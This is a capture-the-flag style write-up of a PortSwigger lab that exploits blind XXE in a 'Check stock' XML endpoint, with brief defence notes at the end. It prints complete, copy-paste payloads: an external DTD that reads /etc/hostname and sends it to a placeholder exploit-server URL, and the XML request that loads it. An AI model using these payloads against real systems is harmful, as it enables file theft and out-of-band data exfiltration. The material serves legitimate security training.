Exploiting blind XXE to exfiltrate data using a malicious external DTD
Exploiting blind XXE to exfiltrate data using a malicious external DTD: This lab’s Check stock feature parses XML but doesn't reflect output. My goal was to exploit blind XXE to exfiltrate /etc/hostname using an out‑of‑band (OOB) callback. Because PortSwigger Academy blocks third‑party targets, I used the provided exploit server (or you can use Burp Collaborator (public)). • PortSwigger • XXE • xxe, dtd
🎯 Objective
This lab’s Check stock feature parses XML but doesn't reflect output. My goal was to exploit blind XXE to exfiltrate /etc/hostname using an out‑of‑band (OOB) callback. Because PortSwigger Academy blocks third‑party targets, I used the provided exploit server (or you can use Burp Collaborator (public)).
🧩 What I’m exploiting
- The XML parser supports external entities (XXE).
- The app parses the XML but shows no inline output → it’s blind.
- Solution: Host a malicious external DTD that makes the XML parser fetch a URL I control, embedding the file contents in the request.
🧭 Plan (high level)
- Host a DTD on the exploit server that:
- Reads the file with a parameter entity.
- Dynamically defines a second entity that performs an HTTP request to my server with the file contents in the query string.
- Reference that DTD from the in‑band XML sent to Check stock.
- Capture the callback in the exploit server (or Collaborator) logs and read the hostname.
🔧 Exploit server setup (external DTD)
On the exploit server, save the following as (for example) /exploit.dtd:
<!-- /exploit.dtd -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://YOUR-SERVER-ID.exploit-server.net/?x=%file;'>">
%eval;
%exfil;Notes
%filereads the target file.%evalcreates another parameter entity%exfilwhose SYSTEM identifier is a URL containing the file contents as a query param.- The final
%exfil;line forces resolution, which triggers the OOB HTTP request to my server even if the app never renders entity output.
Swap the
YOUR-SERVER-ID.exploit-server.netwith your exploit server domain. If you prefer Burp Collaborator, point it to yourxxxxxxxx.oastify.com/burpcollaborator.netdomain instead.
📤 In-band XML that references the DTD
Send this XML to the Check stock endpoint (adjust the path and method to your lab; it’s often POST /product/stock or similar and Content-Type: application/xml):
POST /product/stock HTTP/1.1
Host: TARGET
Content-Type: application/xml
Content-Length: ...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
<!ENTITY % xxe SYSTEM "https://YOUR-SERVER-ID.exploit-server.net/exploit.dtd">
%xxe;
]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>That’s it. The parser loads /exploit.dtd, expands %file, defines %exfil, and then resolves %exfil; which makes the HTTP GET back to me with the file contents.
🔎 Capturing the loot
- On the exploit server, open the Access log. You should see a request like:
GET /?x=<hostname-value>
- On Burp Collaborator, open the Collaborator client and look for an HTTP interaction. The query string contains the file content.
- The
/etc/hostnamevalue is typically a short token (e.g.,a1b2c3d4). That’s the answer you need.
✅ Result
I received an HTTP callback on my server:GET /?x=<the-lab-hostname>
That confirmed successful OOB exfiltration and solved the lab.
🧪 Troubleshooting
- No callbacks?
- Double‑check the DTD URL in the XML and that your DTD path is correct.
- Ensure the exploit server is publicly reachable and the DTD is saved.
- Try HTTP instead of HTTPS (some labs allow both; stick with whatever the server supports).
- Parser blocked external DTDs?
- Some labs require placing the exfil step entirely in the external DTD, which we already do. Avoid relying on
&exfil;in the XML body.
- Some labs require placing the exfil step entirely in the external DTD, which we already do. Avoid relying on
- Nothing in query?
- Use this pattern (already included): define
%evalthat defines%exfilusing%to safely inject a parameter entity from within a DTD context.
- Use this pattern (already included): define
🔒 Defense (my notes)
- Disable external entity resolution (XXE) in the XML parser (
FEATURE_SECURE_PROCESSING, noDOCTYPE, etc.). - Use allowlists on Content‑Type and request paths.
- Terminate requests with external
SYSTEMidentifiers. - Prefer JSON or a hardened XML binding with strict schemas.
📎 Full payloads (copy/paste)
External DTD (/exploit.dtd)
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://YOUR-SERVER-ID.exploit-server.net/?x=%file;'>">
%eval;
%exfil;In-band XML (Check stock request body)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
<!ENTITY % xxe SYSTEM "https://YOUR-SERVER-ID.exploit-server.net/exploit.dtd">
%xxe;
]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>Replace
YOUR-SERVER-ID.exploit-server.net(or use your Burp Collaborator domain) and tweak the request path to match your instance. This write‑up reflects my exact steps and the payloads that worked for me in the lab.
Comments
Comments
Loading comments…